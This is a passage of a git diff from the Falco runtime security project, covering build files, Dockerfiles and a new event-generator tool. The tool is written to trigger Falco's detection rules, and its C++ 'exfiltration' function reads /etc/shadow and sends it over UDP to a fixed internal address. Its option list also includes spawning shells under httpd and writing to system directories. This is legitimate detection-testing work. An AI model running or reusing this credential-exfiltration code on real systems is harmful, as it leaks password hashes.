set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
|
||||
|
||||
# Add driver directory
|
||||
add_subdirectory("${SYSDIG_SOURCE_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
|
||||
|
||||
# Add libscap directory
|
||||
add_definitions(-D_GNU_SOURCE)
|
||||
add_definitions(-DHAS_CAPTURE)
|
||||
add_subdirectory("${SYSDIG_SOURCE_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/userspace/libscap")
|
||||
|
||||
# Add libsinsp directory
|
||||
add_subdirectory("${SYSDIG_SOURCE_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp")
|
||||
add_dependencies(sinsp tbb b64 luajit)
|
||||
|
||||
# explicitly disable the tests of this dependency
|
||||
set(CREATE_TEST_TARGETS OFF)
|
||||
|
||||
if(USE_BUNDLED_DEPS)
|
||||
add_dependencies(scap grpc curl jq)
|
||||
endif()
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
@@ -10,7 +10,6 @@
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
mark_as_advanced(YAMLCPP_INCLUDE_DIR YAMLCPP_LIB)
|
||||
if(NOT USE_BUNDLED_DEPS)
|
||||
find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h)
|
||||
find_library(YAMLCPP_LIB NAMES yaml-cpp)
|
||||
@@ -27,8 +26,7 @@ else()
|
||||
ExternalProject_Add(
|
||||
yamlcpp
|
||||
URL "https://github.com/jbeder/yaml-cpp/archive/yaml-cpp-0.6.2.tar.gz"
|
||||
URL_HASH "SHA256=e4d8560e163c3d875fd5d9e5542b5fd5bec810febdcba61481fe5fc4e6b1fd05"
|
||||
BUILD_BYPRODUCTS ${YAMLCPP_LIB}
|
||||
URL_MD5 "5b943e9af0060d0811148b037449ef82"
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
|
||||
@@ -1,6 +1,2 @@
|
||||
labels:
|
||||
- area/integration
|
||||
approvers:
|
||||
- leogr
|
||||
reviewers:
|
||||
- leogr
|
||||
- area/integration
|
||||
@@ -1,17 +1,30 @@
|
||||
# Falco Dockerfiles
|
||||
|
||||
This directory contains various ways to package Falco as a container and related tools.
|
||||
This directory contains the various ways to package Falco as a container.
|
||||
|
||||
## Currently Supported Images
|
||||
## Currently Supported Containers
|
||||
|
||||
| Name | Directory | Description |
|
||||
|---|---|---|
|
||||
| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/falco | Falco (DEB built from git tag or from the master) with all the building toolchain. |
|
||||
| _not yet published (experimental)_ | docker/ubi | Falco (built from RedHat's UBI base image) with the building toolchain. |
|
||||
| [falcosecurity/falco-driver-loader:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:master](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader) | docker/driver-loader | `falco-driver-loader` as entrypoint with the building toolchain. |
|
||||
| [falcosecurity/falco-no-driver:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver), [falcosecurity/falco-no-driver:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver),[falcosecurity/falco-no-driver:master](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver) | docker/no-driver | Falco (TGZ built from git tag or from the master) without the building toolchain. |
|
||||
| [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/getting-started/source/) for more details on building from source. Used to build Falco (CI). |
|
||||
| [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). |
|
||||
| _not to be published_ | docker/local | Built on-the-fly and used by falco-tester. |
|
||||
### `falcosecurity/falco` Dockerfiles
|
||||
- `./dev`: Builds a container image from the `dev` apt repo.
|
||||
- `./stable`: Builds a container image from the `stable` apt repo.
|
||||
- `./local`: Builds a container image from a locally provided Falco `dpkg` package.
|
||||
|
||||
### Build & Testing Dockerfiles
|
||||
- `./builder`: `falcosecurity/falco-builder` - The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/source/) for more details on building from source.
|
||||
- `./tester`: `falcosecurity/falco-tester` - Container image for running the Falco test suite.
|
||||
|
||||
## Alpha Release Containers
|
||||
|
||||
These Dockerfiles (and resulting container images) are currently in `alpha`. We'd love for you to test these images and [report any feedback](https://github.com/falcosecurity/falco/issues/new/choose).
|
||||
|
||||
### Slim and Minimal Dockerfiles
|
||||
The goal of these container images is to reduce the size of the underlying Falco container.
|
||||
- `./slim-dev`: Like `./dev` above but removes build tools for older kernels.
|
||||
- `./slim-stable`: Like `./stable` above but removes build tools for older kernels.
|
||||
- `./minimal`: A minimal container image (~20mb), containing only the files required to run Falco.
|
||||
|
||||
### Init Containers
|
||||
These container images allow for the delivery of the kernel module or eBPF probe either via HTTP or via a container image.
|
||||
- `kernel/linuxkit`: Multistage Dockerfile to build a Falco kernel module for Linuxkit (Docker Desktop). Generates an alpine based container image with the kernel module, and `insmod` as the container `CMD`.
|
||||
- `kernel/probeloader`: Multistage Dockerfile to build a Go based application to download (via HTTPS) and load a Falco kernel module. The resulting container image can be ran as an `initContainer` to load the Falco module before Falco starts.
|
||||
|
||||
> Note: `falco-builder`, `falco-tester` (and the `docker/local` image that it's built on the fly) are not integrated into the release process because they are development and CI tools that need to be manually pushed only when updated.
|
||||
|
||||
@@ -2,7 +2,7 @@ FROM centos:7
|
||||
|
||||
LABEL name="falcosecurity/falco-builder"
|
||||
LABEL usage="docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder cmake"
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
ARG BUILD_TYPE=release
|
||||
ARG BUILD_DRIVER=OFF
|
||||
@@ -10,7 +10,6 @@ ARG BUILD_BPF=OFF
|
||||
ARG BUILD_WARNINGS_AS_ERRORS=ON
|
||||
ARG MAKE_JOBS=4
|
||||
ARG FALCO_VERSION
|
||||
ARG CMAKE_VERSION=3.22.5
|
||||
|
||||
ENV BUILD_TYPE=${BUILD_TYPE}
|
||||
ENV BUILD_DRIVER=${BUILD_DRIVER}
|
||||
@@ -18,22 +17,22 @@ ENV BUILD_BPF=${BUILD_BPF}
|
||||
ENV BUILD_WARNINGS_AS_ERRORS=${BUILD_WARNINGS_AS_ERRORS}
|
||||
ENV MAKE_JOBS=${MAKE_JOBS}
|
||||
ENV FALCO_VERSION=${FALCO_VERSION}
|
||||
ENV CMAKE_VERSION=${CMAKE_VERSION}
|
||||
|
||||
# build toolchain
|
||||
RUN yum -y install centos-release-scl && \
|
||||
INSTALL_PKGS="devtoolset-7-gcc devtoolset-7-gcc-c++ devtoolset-7-toolchain devtoolset-7-libstdc++-devel devtoolset-7-elfutils-libelf-devel llvm-toolset-7.0 glibc-static autoconf automake libtool createrepo expect git which libcurl-devel zlib-devel rpm-build libyaml-devel" && \
|
||||
INSTALL_PKGS="devtoolset-7-gcc devtoolset-7-gcc-c++ devtoolset-7-toolchain devtoolset-7-libstdc++-devel devtoolset-7-elfutils-libelf-devel llvm-toolset-7 glibc-static autoconf automake libtool createrepo expect git which libcurl-devel zlib-devel ncurses-devel rpm-build libyaml-devel" && \
|
||||
yum -y install --setopt=tsflags=nodocs $INSTALL_PKGS && \
|
||||
rpm -V $INSTALL_PKGS
|
||||
|
||||
|
||||
RUN source scl_source enable devtoolset-7 llvm-toolset-7.0
|
||||
|
||||
RUN curl -L -o /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz https://github.com/kitware/cmake/releases/download/v${CMAKE_VERSION}/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz && \
|
||||
gzip -d /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz && \
|
||||
tar -xpf /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar --directory=/tmp && \
|
||||
cp -R /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m)/* /usr && \
|
||||
rm -rf /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m)
|
||||
ARG CMAKE_VERSION=3.5.1
|
||||
RUN source scl_source enable devtoolset-7 llvm-toolset-7 && \
|
||||
cd /tmp && \
|
||||
curl -L https://github.com/kitware/cmake/releases/download/v${CMAKE_VERSION}/cmake-${CMAKE_VERSION}.tar.gz | tar xz; \
|
||||
cd cmake-${CMAKE_VERSION} && \
|
||||
./bootstrap --system-curl && \
|
||||
make -j${MAKE_JOBS} && \
|
||||
make install && \
|
||||
rm -rf /tmp/cmake-${CMAKE_VERSION}
|
||||
|
||||
COPY ./root /
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# IMPORTANT: Do not add more content to this file unless you know what you are doing.
|
||||
# This file is sourced every time the shell session is opened.
|
||||
# This file is sourced everytime the shell session is opened.
|
||||
#
|
||||
# This will make scl collection binaries work out of box.
|
||||
unset BASH_ENV PROMPT_COMMAND ENV
|
||||
source scl_source enable devtoolset-7 llvm-toolset-7.0
|
||||
source scl_source enable devtoolset-7 llvm-toolset-7
|
||||
|
||||
@@ -18,7 +18,7 @@ How to use.
|
||||
* docker run -ti falcosecurity/falco-builder bash
|
||||
|
||||
To build Falco it needs:
|
||||
- a bind-mount on the source directory (ie., the directory containing the Falco source as sibling)
|
||||
- a bind-mount on the source directory (ie., the directory containing Falco and sysdig source as siblings)
|
||||
|
||||
Optionally, you can also bind-mount the build directory.
|
||||
So, you can execute it from the Falco root directory as follows.
|
||||
|
||||
110
docker/dev/Dockerfile
Normal file
110
docker/dev/Dockerfile
Normal file
@@ -0,0 +1,110 @@
|
||||
FROM debian:unstable
|
||||
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
ENV FALCO_REPOSITORY dev
|
||||
|
||||
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
|
||||
|
||||
ENV HOST_ROOT /host
|
||||
|
||||
ENV HOME /root
|
||||
|
||||
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
|
||||
|
||||
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
bash-completion \
|
||||
bc \
|
||||
clang-7 \
|
||||
ca-certificates \
|
||||
curl \
|
||||
dkms \
|
||||
gnupg2 \
|
||||
gcc \
|
||||
gdb \
|
||||
jq \
|
||||
libc6-dev \
|
||||
libelf-dev \
|
||||
llvm-7 \
|
||||
netcat \
|
||||
xz-utils \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# gcc 6 is no longer included in debian unstable, but we need it to
|
||||
# build kernel modules on the default debian-based ami used by
|
||||
# kops. So grab copies we've saved from debian snapshots with the
|
||||
# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
|
||||
# or so.
|
||||
|
||||
RUN curl -o cpp-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/cpp-6_6.3.0-18_amd64.deb \
|
||||
&& curl -o gcc-6-base_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6-base_6.3.0-18_amd64.deb \
|
||||
&& curl -o gcc-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6_6.3.0-18_amd64.deb \
|
||||
&& curl -o libasan3_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libasan3_6.3.0-18_amd64.deb \
|
||||
&& curl -o libcilkrts5_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libcilkrts5_6.3.0-18_amd64.deb \
|
||||
&& curl -o libgcc-6-dev_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libgcc-6-dev_6.3.0-18_amd64.deb \
|
||||
&& curl -o libubsan0_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libubsan0_6.3.0-18_amd64.deb \
|
||||
&& curl -o libmpfr4_3.1.3-2_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libmpfr4_3.1.3-2_amd64.deb \
|
||||
&& curl -o libisl15_0.18-1_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libisl15_0.18-1_amd64.deb \
|
||||
&& dpkg -i cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb \
|
||||
&& rm -f cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb
|
||||
|
||||
# gcc 5 is no longer included in debian unstable, but we need it to
|
||||
# build centos kernels, which are 3.x based and explicitly want a gcc
|
||||
# version 3, 4, or 5 compiler. So grab copies we've saved from debian
|
||||
# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
|
||||
|
||||
RUN curl -o cpp-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/cpp-5_5.5.0-12_amd64.deb \
|
||||
&& curl -o gcc-5-base_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5-base_5.5.0-12_amd64.deb \
|
||||
&& curl -o gcc-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5_5.5.0-12_amd64.deb \
|
||||
&& curl -o libasan2_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libasan2_5.5.0-12_amd64.deb \
|
||||
&& curl -o libgcc-5-dev_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libgcc-5-dev_5.5.0-12_amd64.deb \
|
||||
&& curl -o libisl15_0.18-4_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libisl15_0.18-4_amd64.deb \
|
||||
&& curl -o libmpx0_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libmpx0_5.5.0-12_amd64.deb \
|
||||
&& dpkg -i cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb \
|
||||
&& rm -f cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb
|
||||
|
||||
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
|
||||
# default to gcc-5.
|
||||
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
|
||||
|
||||
RUN rm -rf /usr/bin/clang \
|
||||
&& rm -rf /usr/bin/llc \
|
||||
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
|
||||
&& ln -s /usr/bin/llc-7 /usr/bin/llc
|
||||
|
||||
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
|
||||
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends falco \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Change the falco config within the container to enable ISO 8601
|
||||
# output.
|
||||
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
|
||||
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
|
||||
|
||||
# Some base images have an empty /lib/modules by default
|
||||
# If it's not empty, docker build will fail instead of
|
||||
# silently overwriting the existing directory
|
||||
RUN rm -df /lib/modules \
|
||||
&& ln -s $HOST_ROOT/lib/modules /lib/modules
|
||||
|
||||
# debian:unstable head contains binutils 2.31, which generates
|
||||
# binaries that are incompatible with kernels < 4.16. So manually
|
||||
# forcibly install binutils 2.30-22 instead.
|
||||
RUN curl -s -o binutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils_2.30-22_amd64.deb \
|
||||
&& curl -s -o libbinutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libbinutils_2.30-22_amd64.deb \
|
||||
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
|
||||
&& curl -s -o binutils-common_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-common_2.30-22_amd64.deb \
|
||||
&& dpkg -i *binutils*.deb \
|
||||
&& rm -f *binutils*.deb
|
||||
|
||||
COPY ./docker-entrypoint.sh /
|
||||
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
|
||||
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@@ -16,18 +16,19 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
|
||||
# set -e
|
||||
|
||||
if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
|
||||
# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
|
||||
|
||||
if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
|
||||
echo "* Setting up /usr/src links from host"
|
||||
|
||||
for i in "$HOST_ROOT/usr/src"/*
|
||||
do
|
||||
base=$(basename "$i")
|
||||
ln -s "$i" "/usr/src/$base"
|
||||
ln -s "$i" "/usr/src/$i"
|
||||
done
|
||||
|
||||
/usr/bin/falco-driver-loader
|
||||
/usr/bin/falco-probe-loader
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
@@ -1,13 +0,0 @@
|
||||
ARG FALCO_IMAGE_TAG=latest
|
||||
FROM falcosecurity/falco:${FALCO_IMAGE_TAG}
|
||||
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
|
||||
LABEL usage="docker run -i -t --privileged -v /root/.falco:/root/.falco -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro --name NAME IMAGE"
|
||||
|
||||
ENV HOST_ROOT /host
|
||||
ENV HOME /root
|
||||
|
||||
COPY ./docker-entrypoint.sh /
|
||||
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
10
docker/event-generator/Dockerfile
Normal file
10
docker/event-generator/Dockerfile
Normal file
@@ -0,0 +1,10 @@
|
||||
FROM alpine:latest
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
RUN apk add --no-cache bash g++ curl
|
||||
COPY ./event_generator.cpp /usr/local/bin
|
||||
COPY ./docker-entrypoint.sh ./k8s_event_generator.sh /
|
||||
COPY ./yaml /yaml
|
||||
RUN mkdir -p /var/lib/rpm
|
||||
RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
|
||||
RUN curl -o /usr/local/bin/kubectl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl && chmod +x /usr/local/bin/kubectl
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
6
scripts/rpm/preuninstall.in → docker/event-generator/Makefile
Executable file → Normal file
6
scripts/rpm/preuninstall.in → docker/event-generator/Makefile
Executable file → Normal file
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (C) 2022 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@@ -14,5 +14,5 @@
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
/usr/bin/falco-driver-loader --clean
|
||||
image:
|
||||
docker build -t sysdig/falco-event-generator:latest .
|
||||
21
docker/event-generator/docker-entrypoint.sh
Executable file
21
docker/event-generator/docker-entrypoint.sh
Executable file
@@ -0,0 +1,21 @@
|
||||
#!/bin/bash
|
||||
|
||||
CMD=${1:-syscall}
|
||||
|
||||
shift
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
if [[ "$CMD" == "syscall" ]]; then
|
||||
/usr/local/bin/event_generator
|
||||
elif [[ "$CMD" == "k8s_audit" ]]; then
|
||||
. k8s_event_generator.sh
|
||||
elif [[ "$CMD" == "bash" ]]; then
|
||||
bash
|
||||
else
|
||||
echo "Unknown command. Can be one of"
|
||||
echo " \"syscall\": generate falco syscall-related activity"
|
||||
echo " \"k8s_audit\": generate falco k8s audit-related activity"
|
||||
echo " \"bash\": spawn a shell"
|
||||
exit 1
|
||||
fi
|
||||
535
docker/event-generator/event_generator.cpp
Normal file
535
docker/event-generator/event_generator.cpp
Normal file
@@ -0,0 +1,535 @@
|
||||
/*
|
||||
Copyright (C) 2019 The Falco Authors.
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
*/
|
||||
|
||||
#include <cstdio>
|
||||
#include <utility>
|
||||
#include <map>
|
||||
#include <set>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <cstring>
|
||||
#include <cstdlib>
|
||||
#include <unistd.h>
|
||||
#include <getopt.h>
|
||||
#include <errno.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <pwd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
using namespace std;
|
||||
|
||||
void usage(char *program)
|
||||
{
|
||||
printf("Usage %s [options]\n\n", program);
|
||||
printf("Options:\n");
|
||||
printf(" -h/--help: show this help\n");
|
||||
printf(" -a/--action: actions to perform. Can be one of the following:\n");
|
||||
printf(" write_binary_dir Write to files below /bin\n");
|
||||
printf(" write_etc Write to files below /etc\n");
|
||||
printf(" read_sensitive_file Read a sensitive file\n");
|
||||
printf(" read_sensitive_file_after_startup As a trusted program, wait a while,\n");
|
||||
printf(" then read a sensitive file\n");
|
||||
printf(" write_rpm_database Write to files below /var/lib/rpm\n");
|
||||
printf(" spawn_shell Run a shell (bash)\n");
|
||||
printf(" Used by spawn_shell_under_httpd below\n");
|
||||
printf(" spawn_shell_under_httpd Run a shell (bash) under a httpd process\n");
|
||||
printf(" db_program_spawn_process As a database program, try to spawn\n");
|
||||
printf(" another program\n");
|
||||
printf(" modify_binary_dirs Modify a file below /bin\n");
|
||||
printf(" mkdir_binary_dirs Create a directory below /bin\n");
|
||||
printf(" change_thread_namespace Change namespace\n");
|
||||
printf(" system_user_interactive Change to a system user and try to\n");
|
||||
printf(" run an interactive command\n");
|
||||
printf(" network_activity Open network connections\n");
|
||||
printf(" (used by system_procs_network_activity below)\n");
|
||||
printf(" system_procs_network_activity Open network connections as a program\n");
|
||||
printf(" that should not perform network actions\n");
|
||||
printf(" non_sudo_setuid Setuid as a non-root user\n");
|
||||
printf(" create_files_below_dev Create files below /dev\n");
|
||||
printf(" exec_ls execve() the program ls\n");
|
||||
printf(" (used by user_mgmt_binaries, db_program_spawn_process)\n");
|
||||
printf(" user_mgmt_binaries Become the program \"vipw\", which triggers\n");
|
||||
printf(" rules related to user management programs\n");
|
||||
printf(" exfiltration Read /etc/shadow and send it via udp to a\n");
|
||||
printf(" specific address and port\n");
|
||||
printf(" all All of the above\n");
|
||||
printf(" The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
|
||||
printf(" as a colon-separated list\n");
|
||||
printf(" if specified, -a/--action overrides any environment variables\n");
|
||||
printf(" -i/--interval: Number of seconds between actions\n");
|
||||
printf(" -o/--once: Perform actions once and exit\n");
|
||||
}
|
||||
|
||||
void open_file(const char *filename, const char *flags)
|
||||
{
|
||||
FILE *f = fopen(filename, flags);
|
||||
if(f)
|
||||
{
|
||||
fclose(f);
|
||||
}
|
||||
else
|
||||
{
|
||||
fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
void exfiltration()
|
||||
{
|
||||
ifstream shadow;
|
||||
|
||||
shadow.open("/etc/shadow");
|
||||
|
||||
printf("Reading /etc/shadow and sending to 10.5.2.6:8197...\n");
|
||||
|
||||
if(!shadow.is_open())
|
||||
{
|
||||
fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
string line;
|
||||
string shadow_contents;
|
||||
while(getline(shadow, line))
|
||||
{
|
||||
shadow_contents += line;
|
||||
shadow_contents += "\n";
|
||||
}
|
||||
|
||||
int rc;
|
||||
ssize_t sent;
|
||||
int sock = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
struct sockaddr_in dest;
|
||||
|
||||
dest.sin_family = AF_INET;
|
||||
dest.sin_port = htons(8197);
|
||||
inet_aton("10.5.2.6", &(dest.sin_addr));
|
||||
|
||||
if((rc = connect(sock, (struct sockaddr *)&dest, sizeof(dest))) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
if((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
|
||||
{
|
||||
fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
close(sock);
|
||||
}
|
||||
|
||||
void touch(const char *filename)
|
||||
{
|
||||
open_file(filename, "w");
|
||||
}
|
||||
|
||||
void read(const char *filename)
|
||||
{
|
||||
open_file(filename, "r");
|
||||
}
|
||||
|
||||
void become_user(const char *user)
|
||||
{
|
||||
struct passwd *pw;
|
||||
pw = getpwnam(user);
|
||||
if(pw == NULL)
|
||||
{
|
||||
fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int rc = setuid(pw->pw_uid);
|
||||
|
||||
if(rc != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
void spawn(const char *cmd, char **argv, char **env)
|
||||
{
|
||||
pid_t child;
|
||||
|
||||
// Fork a process, that way proc.duration is reset
|
||||
if((child = fork()) == 0)
|
||||
{
|
||||
execve(cmd, argv, env);
|
||||
fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
|
||||
}
|
||||
else
|
||||
{
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
}
|
||||
}
|
||||
|
||||
void respawn(const char *cmd, const char *action, const char *interval)
|
||||
{
|
||||
char *argv[] = {(char *)cmd,
|
||||
(char *)"--action", (char *)action,
|
||||
(char *)"--interval", (char *)interval,
|
||||
(char *)"--once", NULL};
|
||||
|
||||
char *env[] = {NULL};
|
||||
|
||||
spawn(cmd, argv, env);
|
||||
}
|
||||
|
||||
void write_binary_dir()
|
||||
{
|
||||
